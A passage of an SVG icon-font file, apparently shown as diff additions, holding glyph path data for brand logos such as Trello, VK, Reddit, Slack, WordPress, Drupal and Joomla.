-39.7002 -44.2998 -39.7002h-83.4004c-3.40039 0 -3.7002 0.300781 -6.7998 -3.09961c0 0 -2.2002 -2.5 -131.101 -151.9 +c-10.0996 -11.6992 -26.6992 -9.59961 -32.8994 -7.09961c-6.10059 2.40039 -18.2002 9.7998 -18.2002 30.0996v433.801c0 17.7998 12.4004 46.0996 49.9004 46.0996h273.199zM306.8 371.2c2.10059 9.7998 -5.2998 17.5 -13.5 17.5h-219 +c-9.7998 0 -16.5996 -8.90039 -16.5996 -16.6006v-338.8c0 -0.899414 0.899414 -1.2002 1.7998 -0.299805c80.5996 96.9004 89.5 108.3 89.5 108.3c9.2998 10.7998 13 12.6006 26.5 12.6006h73.5c10.0996 0 16 8.59961 16.9004 13.5 +c0.899414 5 9.59961 49.8994 11.3994 58.7998c1.7998 9 -6.5 18.2002 -14.7998 18.2002h-90.4004c-12 0 -20.5996 8.59961 -20.5996 20.5996v13c0 12 8.59961 20.2998 20.5996 20.2998h106.4c7.40039 0 15.7002 6.7002 16.9004 13.2002z" /> + <glyph glyph-name="trello" unicode="" +d="M392.3 416c30.7998 -0.200195 55.7002 -25.2002 55.6006 -56v-336c0 -30.7998 -24.9004 -55.7998 -55.7002 -56h-336.2c-30.9004 0 -56 25.0996 -56 56c0 340 -0.0996094 336 0 336c0 30.9004 25.0996 56 56.0996 56h336.2zM197 76.7002h0.0996094v254.2 +c0 14.8994 -12.0996 26.8994 -26.8994 26.8994h-82.9004c-14.8994 0 -26.8994 -12.0996 -26.8994 -26.8994v-254.2c0.0996094 -14.7998 12.1992 -26.7002 27 -26.6006h82.6992c14.8008 0 26.7002 11.9004 26.9004 26.6006zM390.1 188.7v142.1 +c0 14.9004 -12.0996 26.9004 -26.8994 26.9004h-81.1006c-14.7998 0 -26.7998 -12.1006 -26.7998 -26.9004v-142.1c0 -14.9004 12.1006 -26.9004 26.9004 -26.9004h81c14.8994 0 26.8994 12.1006 26.8994 26.9004z" /> + <glyph glyph-name="gratipay" unicode="" horiz-adv-x="496" +d="M248 440c136.9 0 248 -111.1 248 -248s-111.1 -248 -248 -248s-248 111.1 -248 248s111.1 248 248 248zM362.6 213.6c8.80078 12 19.1006 50.4004 -13.7998 72c-27.7002 18.1006 -54.2002 4.2002 -68.0996 -11.8994c-15.1006 -16.9004 -45.7998 -17.9004 -61.7002 0 +c-13.9004 16.0996 -40.4004 30 -68.5 11.8994c-32.7002 -21.5996 -22.2998 -60.0996 -13.5996 -72l112.699 -152.699z" /> + <glyph glyph-name="vk" unicode="" horiz-adv-x="576" +d="M545 330.3c-7.40039 -34.2998 -79.2998 -135.5 -79.4004 -135.6c-6.19922 -10 -8.69922 -15 0 -26.2002c3.40039 -4.7998 79.1006 -76.5996 90.3008 -111.5c4.89941 -16.5996 -3.60059 -25 -20.4004 -25h-58.9004c-22.3994 0 -29 17.9004 -69 57.9004 +c-35 33.6992 -50 38.0996 -58.6992 38.0996c-18.8008 0 -15.4004 -6.2998 -15.4004 -73.0996c0 -14.5 -4.59961 -22.9004 -42.0996 -22.9004c-62.4004 0 -131 37.9004 -179.7 107.8c-73.1006 102.4 -93.1006 179.9 -93.1006 195.5c0 8.7998 3.40039 16.7002 20.2002 16.7002 +h58.9004c15.0996 0 20.7998 -6.59961 26.5996 -22.9004c28.7998 -84 77.4004 -157.399 97.4004 -157.399c7.5 0 10.8994 3.5 10.8994 22.5v86.7998c-2.19922 40 -23.3994 43.2998 -23.3994 57.5c0 6.5 5.59961 13.5 15 13.5h92.5996 +c12.4004 0 16.6006 -6.7002 16.6006 -21.7002v-116.7c0 -12.5 5.69922 -16.8994 9.39941 -16.8994c7.5 0 13.7998 4.39941 27.5 18.0996c42.4004 47.4004 72.4004 120.5 72.4004 120.5c3.7002 8.7998 10.5996 16.7002 25.5996 16.7002h58.9004 +c17.7998 0 21.5 -9.2002 17.7998 -21.7002z" /> + <glyph glyph-name="weibo" unicode="" horiz-adv-x="512" +d="M407 270.4c7.59961 24 -13.4004 46.7998 -37.4004 41.6992c-22 -4.7998 -28.7998 28.1006 -7.09961 32.8008c50.0996 10.8994 92.2998 -37.1006 76.5 -84.8008c-6.7998 -21.1992 -38.7998 -10.7998 -32 10.3008zM214.8 1.2998c-106.3 0 -214.8 51.4004 -214.8 136.3 +c0 44.3008 28 95.4004 76.2998 143.7c99.7002 99.7002 203.2 100.9 173.601 5.7002c-4 -13.0996 12.2998 -5.7002 12.2998 -6c79.5 33.5996 140.5 16.7998 114 -51.4004c-3.7002 -9.39941 1.09961 -10.8994 8.2998 -13.0996c135.7 -42.2998 34.7998 -215.2 -169.7 -215.2z +M358.5 147.6c-5.40039 55.7002 -78.5 94 -163.4 85.7002c-84.7998 -8.59961 -148.8 -60.2998 -143.399 -116c5.39941 -55.7002 78.5 -94 163.399 -85.7002c84.8008 8.60059 148.801 60.3008 143.4 116zM347.9 412.9c102.3 21.5996 189.3 -74.5 157.399 -174.301 +c-8.2998 -25 -44.7998 -12.1992 -37.3994 12c23.0996 71.2002 -39.4004 139.2 -111.7 124c-25.1006 -5.39941 -34.2002 32.7002 -8.2998 38.3008zM269.4 101.9c-17.1006 -38.8008 -66.8008 -60 -109.101 -46.3008c-40.7998 13.1006 -58 53.4004 -40.2998 89.7002 +c17.7002 35.4004 63.0996 55.4004 103.4 45.1006c42 -10.8008 63.0996 -50.2002 46 -88.5zM183.1 131.9c-12.8994 5.39941 -30 -0.300781 -38 -12.9004c-8.2998 -12.9004 -4.2998 -28 8.60059 -34c13.0996 -6 30.7998 -0.299805 39.0996 12.9004 +c8 13.0996 3.7002 28.2998 -9.7002 34zM215.7 145.3c-5.10059 1.7002 -11.4004 -0.599609 -14.2998 -5.39941c-2.90039 -5.10059 -1.40039 -10.6006 3.69922 -12.9004c5.10059 -2 11.7002 0.299805 14.6006 5.40039c2.7998 5.19922 1.09961 10.8994 -4 12.8994z" /> + <glyph glyph-name="renren" unicode="" horiz-adv-x="512" +d="M214 278.9c0 -110.4 -61 -205.4 -147.6 -247.4c-36.4004 43.2998 -58.4004 98.7998 -58.4004 159.9c0 122.699 89.0996 224.399 206 244.1v-156.6zM255 -56c-42.9004 0 -83.2998 11 -118.5 30.4004c57.2002 36.0996 103.4 90.6992 118.5 154.6 +c15.5 -63.9004 61.7002 -118.5 118.8 -154.7c-35.0996 -19.2998 -75.5 -30.2998 -118.8 -30.2998zM445.6 31.5c-86.5996 42 -147.6 136.9 -147.6 247.4v156.6c116.9 -19.7002 206 -121.4 206 -244.1c0 -61.1006 -22 -116.601 -58.4004 -159.9z" /> + <glyph glyph-name="pagelines" unicode="" horiz-adv-x="384" +d="M384 135.3c-55.0996 -136.7 -187.1 -54 -187.1 -54c-40.5 -81.7998 -107.4 -134.399 -184.601 -134.7c-16.0996 0 -16.5996 24.4004 0 24.4004c64.4004 0.299805 120.5 42.7002 157.2 110.1c-41.0996 -15.8994 -118.6 -27.8994 -161.6 82.2002 +c109 44.9004 159.1 -11.2002 178.3 -45.5c9.89941 24.4004 17 50.9004 21.5996 79.7002c0 0 -139.7 -21.9004 -149.5 98.0996c119.101 47.9004 152.601 -76.6992 152.601 -76.6992c1.59961 16.6992 3.2998 52.5996 3.2998 53.3994c0 0 -106.3 73.7002 -38.1006 165.2 +c124.601 -43 61.4004 -162.4 61.4004 -162.4c0.5 -1.59961 0.5 -23.7998 0 -33.3994c0 0 45.2002 89 136.4 57.5c-4.2002 -134 -141.9 -106.4 -141.9 -106.4c-4.40039 -27.3994 -11.2002 -53.3994 -20 -77.5c0 0 83 91.7998 172 20z" /> + <glyph glyph-name="stack-exchange" unicode="" +d="M17.7002 115.7h412.7v-22c0 -37.7002 -29.3008 -68 -65.3008 -68h-19l-86.7998 -89.7002v89.7002h-176.3c-36 0 -65.2998 30.2998 -65.2998 68v22zM17.7002 139.3v85h412.7v-85h-412.7zM17.7002 248.7v85h412.7v-85h-412.7zM365 448 +c36 0 65.2998 -30.2998 65.4004 -67.7002v-22.2998h-412.7v22.2998c0 37.4004 29.2998 67.7002 65.2998 67.7002h282z" /> + <glyph glyph-name="vimeo-square" unicode="" +d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352zM383.8 266.4c1.90039 41.5996 -13.5996 63 -46.5 64c-44.2998 1.39941 -74.3994 -23.6006 -90.0996 -75.1006 +c19.5996 8.40039 48.5996 10.6006 45.2002 -22.2002c-0.900391 -11.0996 -8.10059 -27.0996 -21.5 -48.2998c-37.2002 -58.7002 -46.3008 -39.0996 -66.8008 90.5c-5.7998 36.5 -21.0996 53.5 -46 51.1006c-22 -2 -57.1992 -38 -94.0996 -70.4004l15 -19.4004 +c14.2998 10.1006 22.7002 15.1006 25.0996 15.1006c20.8008 0 31.5 -54.1006 56.7002 -146.4c12.9004 -34.3994 28.6006 -51.5996 47.2998 -51.5996c30.1006 0 66.9004 28.2998 110.4 84.7998c42.0996 54.0996 63.9004 96.7998 65.2998 127.9z" /> + <glyph glyph-name="slack" unicode="" +d="M94.1201 132.9c0 -25.9004 -21.1602 -47.0605 -47.0605 -47.0605c-25.8994 0 -47.0596 21.1602 -47.0596 47.0605c0 25.8994 21.1602 47.0596 47.0596 47.0596h47.0605v-47.0596zM117.84 132.9c0 25.8994 21.1602 47.0596 47.0605 47.0596 +c25.8994 0 47.0596 -21.1602 47.0596 -47.0596v-117.841c0 -25.8994 -21.1602 -47.0596 -47.0596 -47.0596c-25.9004 0 -47.0605 21.1602 -47.0605 47.0596v117.841zM164.9 321.88c-25.9004 0 -47.0605 21.1602 -47.0605 47.0605c0 25.8994 21.1602 47.0596 47.0605 47.0596 +c25.8994 0 47.0596 -21.1602 47.0596 -47.0596v-47.0605h-47.0596zM164.9 298.16c25.8994 0 47.0596 -21.1602 47.0596 -47.0605c0 -25.8994 -21.1602 -47.0596 -47.0596 -47.0596h-117.841c-25.8994 0 -47.0596 21.1602 -47.0596 47.0596 +c0 25.9004 21.1602 47.0605 47.0596 47.0605h117.841zM353.88 251.1c0 25.9004 21.1602 47.0605 47.0605 47.0605c25.8994 0 47.0596 -21.1602 47.0596 -47.0605c0 -25.8994 -21.1602 -47.0596 -47.0596 -47.0596h-47.0605v47.0596zM330.16 251.1 +c0 -25.8994 -21.1602 -47.0596 -47.0605 -47.0596c-25.8994 0 -47.0596 21.1602 -47.0596 47.0596v117.841c0 25.8994 21.1602 47.0596 47.0596 47.0596c25.9004 0 47.0605 -21.1602 47.0605 -47.0596v-117.841zM283.1 62.1201c25.9004 0 47.0605 -21.1602 47.0605 -47.0605 +c0 -25.8994 -21.1602 -47.0596 -47.0605 -47.0596c-25.8994 0 -47.0596 21.1602 -47.0596 47.0596v47.0605h47.0596zM283.1 85.8398c-25.8994 0 -47.0596 21.1602 -47.0596 47.0605c0 25.8994 21.1602 47.0596 47.0596 47.0596h117.841 +c25.8994 0 47.0596 -21.1602 47.0596 -47.0596c0 -25.9004 -21.1602 -47.0605 -47.0596 -47.0605h-117.841z" /> + <glyph glyph-name="wordpress" unicode="" horiz-adv-x="512" +d="M61.7002 278.6l101.5 -278c-71 34.4004 -119.9 107.2 -119.9 191.4c0 30.9004 6.60059 60.0996 18.4004 86.5996zM399.6 202.7c0 -18.2002 -7 -39.2998 -16 -68.7002l-21.1992 -70.9004l-76.9004 228.7c12.7998 0.700195 24.2998 2 24.2998 2 +c11.4004 1.2998 10.1006 18.2002 -1.39941 17.5c0 0 -34.5 -2.7002 -56.7002 -2.7002c-20.9004 0 -56 2.7002 -56 2.7002c-11.4004 0.700195 -12.7998 -16.7998 -1.2998 -17.5c0 0 10.7998 -1.2998 22.2998 -2l33.0996 -90.7998l-46.5996 -139.6l-77.5 230.399 +c12.7998 0.700195 24.2998 2 24.2998 2c11.4004 1.2998 10.0996 18.2002 -1.40039 17.5c0 0 -34.5 -2.7002 -56.6992 -2.7002c-4 0 -8.7002 0.100586 -13.7002 0.300781c38.0996 57.7998 103.5 95.8994 177.8 95.8994c55.4004 0 105.8 -21.2002 143.7 -55.8994 +c-1 0.0996094 -1.90039 0.199219 -2.7998 0.199219c-20.9004 0 -35.7002 -18.1992 -35.7002 -37.7998c0 -17.5 10.0996 -32.3994 20.8994 -49.8994c8.10059 -14.2002 17.5 -32.4004 17.5 -58.7002zM259.7 173.4l65.3994 -179.2c0.400391 -1 0.900391 -2 1.5 -2.90039 +c-22.0996 -7.7998 -45.7998 -12.0996 -70.5996 -12.0996c-20.9004 0 -41 3.09961 -60.0996 8.7002zM442.7 294.1c16.5996 -30.2998 26 -65.0996 26 -102.1c0 -78.5 -42.5 -147 -105.8 -183.9l65 187.9c12.1992 30.4004 16.1992 54.5996 16.1992 76.2002 +c0 7.89941 -0.5 15.0996 -1.39941 21.8994zM504 192c0 -136.8 -111.3 -248 -248 -248c-136.8 0 -248 111.3 -248 248c0 136.8 111.2 248 248 248c136.7 0 248 -111.2 248 -248zM492.6 192c0 130.5 -106.199 236.6 -236.6 236.6c-130.5 0 -236.6 -106.1 -236.6 -236.6 +s106.199 -236.6 236.6 -236.6c130.5 0 236.6 106.1 236.6 236.6z" /> + <glyph glyph-name="openid" unicode="" +d="M271.5 16l-68 -32c-115 10.2998 -203.5 71.5 -203.5 145.8c0 71.5 82.5 131 191.7 144.3v-43c-71.5 -12.5 -124 -53 -124 -101.3c0 -51 58.5 -93.2998 135.7 -103v340l68 33.2002v-384h0.0996094zM448 157l-131.3 28.5l36.7998 20.7002c-19.5 11.5 -43.5 20 -70 24.7998 +v43c46.2002 -5.5 87.7002 -19.5 120.3 -39.2998l35 19.7998z" /> + <glyph glyph-name="yahoo" unicode="" horiz-adv-x="512" +d="M223.69 306.94h93.5791l-140.909 -338.94h-94.1699l38.5693 89.8096l-105.83 249.131h96.0703l56 -143.171zM329.09 171.15c32.1328 0 58.2197 -26.0879 58.2197 -58.2207c0 -32.1318 -26.0869 -58.2197 -58.2197 -58.2197s-58.2197 26.0879 -58.2197 58.2197 +c0 32.1328 26.0869 58.2207 58.2197 58.2207zM394.65 416h104.42l-92.6299 -223.47h-104.79z" /> + <glyph glyph-name="google" unicode="" horiz-adv-x="488" +d="M488 186.2c0 -141.5 -96.9004 -242.2 -240 -242.2c-137.2 0 -248 110.8 -248 248s110.8 248 248 248c66.7998 0 123 -24.5 166.3 -64.9004l-67.5 -64.8994c-88.2998 85.2002 -252.5 21.2002 -252.5 -118.2c0 -86.5 69.1006 -156.6 153.7 -156.6 +c98.2002 0 135 70.3994 140.8 106.899h-140.8v85.2998h236.1c2.30078 -12.6992 3.90039 -24.8994 3.90039 -41.3994z" /> + <glyph glyph-name="reddit" unicode="" horiz-adv-x="512" +d="M201.5 142.5c-13.7998 0 -24.9004 11.0996 -24.9004 24.5996c0 13.8008 11.1006 24.9004 24.9004 24.9004c13.5996 0 24.5996 -11.0996 24.5996 -24.9004c0 -13.5996 -11.0996 -24.5996 -24.5996 -24.5996zM504 192c0 -137 -111 -248 -248 -248s-248 111 -248 248 +s111 248 248 248s248 -111 248 -248zM371.7 233.2c-9.40039 0 -17.7002 -3.90039 -23.7998 -10c-22.4004 15.5 -52.6006 25.5 -86.1006 26.5996l17.4004 78.2998l55.3994 -12.5c0 -13.5996 11.1006 -24.5996 24.6006 -24.5996c13.7998 0 24.8994 11.2998 24.8994 24.9004 +c0 13.5996 -11.0996 24.8994 -24.8994 24.8994c-9.7002 0 -18 -5.7998 -22.1006 -13.7998l-61.1992 13.5996c-3 0.800781 -6.10059 -1.39941 -6.90039 -4.39941l-19.0996 -86.4004c-33.2002 -1.39941 -63.1006 -11.2998 -85.5 -26.7998 +c-6.10059 6.40039 -14.7002 10.2002 -24.1006 10.2002c-34.8994 0 -46.2998 -46.9004 -14.3994 -62.7998c-1.10059 -5 -1.7002 -10.2002 -1.7002 -15.5c0 -52.6006 59.2002 -95.2002 132 -95.2002c73.0996 0 132.3 42.5996 132.3 95.2002 +c0 5.2998 -0.599609 10.7998 -1.90039 15.7998c31.3008 16 19.8008 62.5 -14.8994 62.5zM302.8 117c2.2002 2.2002 6.10059 2.2002 8.2998 0c2.5 -2.5 2.5 -6.40039 0 -8.59961c-22.8994 -22.8008 -87.3994 -22.8008 -110.199 0c-2.5 2.19922 -2.5 6.09961 0 8.59961 +c2.19922 2.2002 6.09961 2.2002 8.2998 0c17.5 -17.9004 75.3994 -18.2002 93.5996 0zM310.5 192c13.9004 0 24.9004 -11.0996 24.9004 -24.9004c0 -13.5 -11.1006 -24.5996 -24.9004 -24.5996c-13.5 0 -24.5996 11 -24.5996 24.5996c0 13.8008 11 24.9004 24.5996 24.9004z +" /> + <glyph glyph-name="reddit-square" unicode="" +d="M283.2 102.5c2.7002 -2.7002 2.7002 -6.7998 0 -9.2002c-24.5 -24.5 -93.7998 -24.5996 -118.4 0c-2.7002 2.40039 -2.7002 6.5 0 9.2002c2.40039 2.40039 6.5 2.40039 8.90039 0c18.7002 -19.2002 81 -19.5996 100.5 0c2.39941 2.2998 6.59961 2.2998 9 0zM191.9 156.3 +c0 -14.5996 -11.9004 -26.5 -26.5 -26.5c-14.9004 0 -26.8008 11.9004 -26.8008 26.5c0 14.9004 11.9004 26.7998 26.8008 26.7998c14.5996 0 26.5 -11.8994 26.5 -26.7998zM282.6 183.1c14.9004 0 26.8008 -11.8994 26.8008 -26.7998 +c0 -14.5996 -11.9004 -26.5 -26.8008 -26.5c-14.5996 0 -26.5 11.9004 -26.5 26.5c0 14.9004 11.9004 26.7998 26.5 26.7998zM448 368v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352c26.5 0 48 -21.5 48 -48zM348.3 227.4 +c-10.0996 0 -19 -4.2002 -25.5996 -10.7002c-24.1006 16.7002 -56.5 27.3994 -92.5 28.5996l18.7002 84.2002l59.5 -13.4004c0 -14.5996 11.8994 -26.5 26.5 -26.5c14.8994 0 26.7998 12.2002 26.7998 26.8008c0 14.5996 -11.9004 26.7998 -26.7998 26.7998 +c-10.4004 0 -19.3008 -6.2002 -23.8008 -14.9004l-65.6992 14.6006c-3.30078 0.899414 -6.5 -1.5 -7.40039 -4.80078l-20.5 -92.7998c-35.7002 -1.5 -67.7998 -12.2002 -91.9004 -28.8994c-6.5 6.7998 -15.7998 11 -25.8994 11c-37.5 0 -49.7998 -50.4004 -15.5 -67.5 +c-1.2002 -5.40039 -1.7998 -11 -1.7998 -16.7002c0 -56.5 63.6992 -102.3 141.899 -102.3c78.5 0 142.2 45.7998 142.2 102.3c0 5.7002 -0.599609 11.5996 -2.09961 17c33.5996 17.2002 21.1992 67.2002 -16.1006 67.2002z" /> + <glyph glyph-name="stumbleupon-circle" unicode="" horiz-adv-x="496" +d="M256 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM256 262.5c9.7998 0 17.7998 -8 17.7002 -17.5996v-20.6006l22.8994 -10.7002l34.1006 10.1006v23.7002c0 40.2998 -34 72.5996 -74.7002 72.5996 +c-40.5 0 -74.7002 -32.0996 -74.7002 -72.0996v-108.4c0 -9.90039 -8 -17.7998 -17.7998 -17.7998s-17.7998 7.7998 -17.7998 17.7998v45.7998h-57.2998v-46.5c0 -41.3994 33.5 -74.8994 74.8994 -74.8994c41 0 74.9004 33 74.9004 73.8994v106.9 +c0 9.7998 8 17.7998 17.7998 17.7998zM423.6 138.9c0 0 0 0.5 0.100586 46.3994h-57.2998v-48c0 -9.7002 -8 -17.5996 -17.8008 -17.5996c-9.7998 0 -17.7998 7.7998 -17.7998 17.5996v47.1006l-34.0996 -10.1006l-22.9004 10.7002v-46.7998 +c0 -41 33.7002 -74.2002 74.9004 -74.2002c41.3994 0 74.8994 33.5 74.8994 74.9004z" /> + <glyph glyph-name="stumbleupon" unicode="" horiz-adv-x="512" +d="M502.9 182v-69.7002c0 -62.0996 -50.3008 -112.399 -112.4 -112.399c-61.7998 0 -112.4 49.7998 -112.4 111.3v70.2002l34.3008 -16l51.0996 15.1992v-70.5996c0 -14.7002 12 -26.5 26.7002 -26.5s26.7998 11.7998 26.7998 26.5v72h85.9004zM278.2 240.2v30.8994 +c0 14.7002 -12 26.7002 -26.7002 26.7002s-26.7002 -12 -26.7002 -26.7002v-160.3c0 -61.2998 -50.7998 -110.8 -112.399 -110.8c-62.1006 0 -112.4 50.2998 -112.4 112.3v69.7002h86v-68.5996c0 -14.9004 12 -26.7002 26.7002 -26.7002s26.7002 11.7998 26.7002 26.7002 +v162.399c0 60 51.2998 108.2 112.1 108.2c61 0 112.1 -48.5 112.1 -109v-35.5996l-51.0996 -15.2002z" /> + <glyph glyph-name="delicious" unicode="" +d="M446.5 380c1 -3.7998 1.5 -7.90039 1.59961 -12v-352.1c0 -26.5 -21.5 -48 -48 -48h-352c-4.09961 0 -8.19922 0.5 -12 1.5c-7.69922 2 -14.5996 5.7998 -20.2998 11c-1.2002 1.09961 -2.2998 2.19922 -3.2998 3.2998c-5.2002 5.7002 -9 12.5996 -11 20.2998 +c-1 3.7998 -1.5 7.90039 -1.5 12v352c0 26.5 21.5 48 48 47.9004h352c4.09961 0 8.2002 -0.5 12 -1.5c1.90039 -0.400391 3.7002 -1 5.40039 -1.7002c1.89941 -0.700195 3.69922 -1.5 5.5 -2.5c1.39941 -0.700195 2.69922 -1.5 4 -2.40039 +c1.09961 -0.799805 2.19922 -1.59961 3.2998 -2.5c2.5 -2 4.7998 -4.2998 6.89941 -6.7998c1.7002 -2.09961 3.30078 -4.5 4.7002 -6.90039c1.2998 -2.2998 2.40039 -4.59961 3.2998 -7.09961c0.5 -1.5 1 -3 1.40039 -4.5zM416 16v176h-192v192h-176 +c-8.7998 0 -16 -7.2002 -16 -16v-176h192v-192h176c8.7998 0 16 7.2002 16 16z" /> + <glyph glyph-name="digg" unicode="" horiz-adv-x="512" +d="M81.7002 275.7v76.2998h51v-250.7h-132.7v174.4h81.7002zM81.7002 142.3v92.2998h-30.7998v-92.2998h30.7998zM378.9 275.7h133.1v-243.7h-133.1v40.7998h81.7998v28.5h-81.7998v174.4zM460.7 142.3v92.2998h-30.7998v-92.2998h30.7998zM225.1 101.3v174.4h133.301 +v-243.7h-133.301v40.7998h82.1006v28.5h-82.1006zM276.3 234.6v-92.2998h30.7998v92.2998h-30.7998zM153.3 352h51.2998v-51h-51.2998v51zM153.3 275.7h51.2998v-174.4h-51.2998v174.4z" /> + <glyph glyph-name="pied-piper-pp" unicode="" +d="M205.3 273.4c0 -21.1006 -14.2002 -38.1006 -31.7002 -38.1006c-7.09961 0 -12.7998 1.2002 -17.1992 3.7002v68c4.39941 2.7002 10.0996 4.2002 17.1992 4.2002c17.5 0 31.7002 -16.9004 31.7002 -37.7998zM257.9 206.4c17.3994 0 31.6992 -17 31.6992 -38.1006 +c0 -20.8994 -14.2998 -37.7998 -31.6992 -37.7998c-7.10059 0 -12.8008 1.2002 -17.2002 3.7002v68c4.39941 2.7002 10.0996 4.2002 17.2002 4.2002zM448 368v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352 +c26.5 0 48 -21.5 48 -48zM185 192.9c41 0 74.2002 35.5996 74.2002 79.5996s-33.2002 79.5996 -74.2002 79.5996c-12 0 -24.0996 -3.19922 -34.5996 -8.7998h-45.7002v-206.3l51.7998 10.0996v50.6006c8.59961 -3.10059 18.0996 -4.7998 28.5 -4.7998zM343.4 167.6 +c0 44 -33.2002 79.6006 -73.9004 79.6006c-3.2002 0 -6.40039 -0.200195 -9.59961 -0.700195c-3.7002 -12.5 -10.1006 -23.7998 -19.2002 -33.4004c-13.7998 -15 -32.2002 -23.7998 -51.7998 -24.7998v-156.3l51.7998 10.0996v50.6006 +c8.59961 -3.2002 18.2002 -4.7002 28.7002 -4.7002c40.7998 0 74 35.5996 74 79.5996z" /> + <glyph glyph-name="pied-piper-alt" unicode="" horiz-adv-x="576" +d="M244 202l-27.7002 -5.7002l-1.7002 4.90039c6.7002 0.5 12.7002 3.7002 19.3008 3.7002c3.7998 0 6.89941 -0.900391 10.0996 -2.90039zM379.9 4.09961c9.5 0 28.1992 -45.0996 33 -55.0996c-35.9004 -13.4004 -70.3008 -15.9004 -106 -9.7998l-6.90039 45.0996 +c15.7998 10.2998 60.9004 19.7998 79.9004 19.7998zM340.8 271c-7.59961 3.5 -63.8994 6.40039 -98.7998 -10c6.2998 11.7998 13.2002 17 25.9004 21.7998c27.2998 10.2998 40.1992 30.5 58.8994 51.1006c11.9004 -8.40039 12 -24.6006 31.6006 -23v-21.8008 +l6.2998 -0.299805c37.3994 14.4004 74.7002 30.2002 106.6 54.6006c48.2998 36.7998 52.9004 50 81.2998 100l2 2.59961c-0.599609 -14.0996 -6.2998 -27.2998 -12.3994 -39.9004c-30.5 -63.7998 -78.7002 -100.3 -146.8 -116.699 +c-12.4004 -2.90039 -26.4004 -3.2002 -37.6006 -8.90039c1.40039 -9.7998 13.2002 -18.0996 13.2002 -23c0 -3.40039 -5.5 -7.2002 -7.5 -8.59961c-11.2002 12.8994 -16.0996 19.2998 -22.7002 22.0996zM555.5 448l-0.299805 -1.40039l-0.600586 -0.599609 +l0.300781 0.900391zM496.3 65.9004c20.1006 -34.2002 43.7002 -54.3008 72.7002 -79.9004c-31 -19.2998 -70.4004 -32.2002 -103.5 -47.2002c-55.2002 46.2998 -23 229.9 -111.5 229.9c-3.5 -0.700195 -2.40039 -0.299805 -4.59961 -1.7002 +c1.09961 -1.40039 2.59961 -2.90039 3.69922 -4c23.9004 -20.0996 33.4004 -24.4004 34.8008 -58.5996l0.299805 -9.5c0.799805 -21.6006 -5.5 -42.5 -9.7998 -63.5c-25.9004 0.699219 -51.2002 -11 -77.9004 -2.90039c-0.700195 5.90039 -1.09961 30.9004 0.299805 41.0996 +c1.40039 9.5 33.6006 29.9004 33 43.7002c-5.5 0.600586 -9.2002 -2.59961 -12.3994 -6.89941c-13.3008 -19.5 -47.2002 -41.9004 -71.3008 -41.9004c-16.5996 0 -56.2998 71.5 -76.3994 85.9004c-3.2002 2.2998 -5.2002 5.39941 -7.7998 8.59961 +c-16.1006 -3.7998 -139.4 -32.2002 -147.4 -32.2002c-6 0 -11.5 4.90039 -11.5 10.9004c0 5.5 3.40039 10.7002 8.90039 11.7998l139.6 30.4004c-9.5 17.1992 12.2998 17.5 21.5 20.0996c3.2002 0.799805 6.2998 4 9.5 4c6.2998 0 11.7998 -8.90039 13.7998 -14.0996 +c6.2998 1.39941 45.7002 10.5996 49.4004 10.5996c15.2002 0 15.8994 -20.0996 2.89941 -22.7002l-52.2998 -11.5l-0.299805 -4.59961c-0.299805 -10.1006 45.4004 -60.1006 53.4004 -60.1006c18.0996 0 54.8994 41.7002 54.8994 60.1006 +c0 30.7002 -42.7998 12.5996 -42.7998 33.5996c0 3.5 1.2002 6.60059 2.90039 9.7998l-19.5 5.5c13.0996 13.6006 13.7998 31.7002 10.8994 50.3008c14.7002 2.89941 26.7002 4.59961 41.4004 4.59961c56.8994 0 45.7002 -8.59961 65.5 -54.2998l14.3994 7.2002 +c-2.2998 -34.2002 -36.1992 -17.5 -35.0996 -31l0.299805 -6c74.7002 2.89941 116.101 -58.6006 150 -115.5zM300.1 19.7998h8.90039l2.90039 -23.7998l-11.8008 -3.40039v27.2002zM231.4 170.2l13.7998 3.5l31.2998 -50.9004l-21 -13.7998zM315.8 15.2998 +c22.6006 2.5 32.7002 6.2998 59.5 6.2998c0.299805 -1.39941 0.900391 -3.19922 0.900391 -4.59961c0 -7.5 -49.4004 -12.5996 -58.4004 -14.0996z" /> + <glyph glyph-name="drupal" unicode="" +d="M319.5 333.3c13.5 -8.2998 96.5 -67 96.5 -179.3c0 -112 -88.5 -186 -190.2 -186c-102 0 -193.8 80.2998 -193.8 189.5c0 109 85 167.5 100.8 175.8c18.7002 10.1006 32.2002 15.2998 53.5 32.2998c10.5 8.30078 19.2998 20.2002 22 49.5 +c15.2002 -18.2998 33.5 -39.5 46.5 -48.2998c21.2002 -14 42.5 -19.5 64.7002 -33.5zM322 7.7002c4.2002 4.2002 1.90039 13.0996 -4.2002 8.5c-8.5 -6.2998 -27.5 -14 -54.5 -14c-34.5 0 -51.5 13.2998 -51.5 13.2998c-6.2002 0 -11.2998 -7.2002 -6.5 -12 +c26.6006 -24.5 96.6006 -15.9004 116.7 4.2002zM267.5 60.2998c-6.5 -2.7002 -28.4004 -16.7998 -22.4004 -25c2.40039 -3.2998 5.2002 -1.2998 12.2002 4.7002c7.2002 5.7998 12 11 26.7002 11c25.2998 0 18.0996 -19.9004 26.5 -15.7002 +c9.90039 4.90039 -2.09961 20.9004 -6.2002 23.7002c-7.7998 5.09961 -28.0996 4.90039 -36.7998 1.2998zM360 43c39.0996 -3.2998 64.5 106 15.7998 106c-20 0 -60.5 -41.5 -81.7998 -41.7998c-24.7002 -0.5 -59 49 -108.5 48.5 +c-66.4004 -0.400391 -90.5996 -78.6006 -51.7998 -105.2c57.2002 -38.7002 130.399 42.9004 161.3 42c19.5 -0.700195 49.7998 -48.5 65 -49.5z" /> + <glyph glyph-name="joomla" unicode="" +d="M0.599609 355.9c0 33.2998 26.8008 60.0996 59.8008 60.0996c30 0 54.5 -21.9004 59.1992 -50.2002c32.6006 7.60059 67.1006 -0.599609 96.5 -30l-44.2998 -44.2998c-20.5 20.5 -42.5996 16.2998 -55.3994 3.5c-14.3008 -14.2998 -14.3008 -37.9004 0 -52.2002 +l99.5 -99.5l-44 -44.2998c-87.7002 87.2002 -49.7002 49.7002 -99.8008 99.7002c-26.7998 26.5 -35 64.7998 -24.7998 98.8994c-26.8994 5.80078 -46.7002 29.7002 -46.7002 58.3008zM130.1 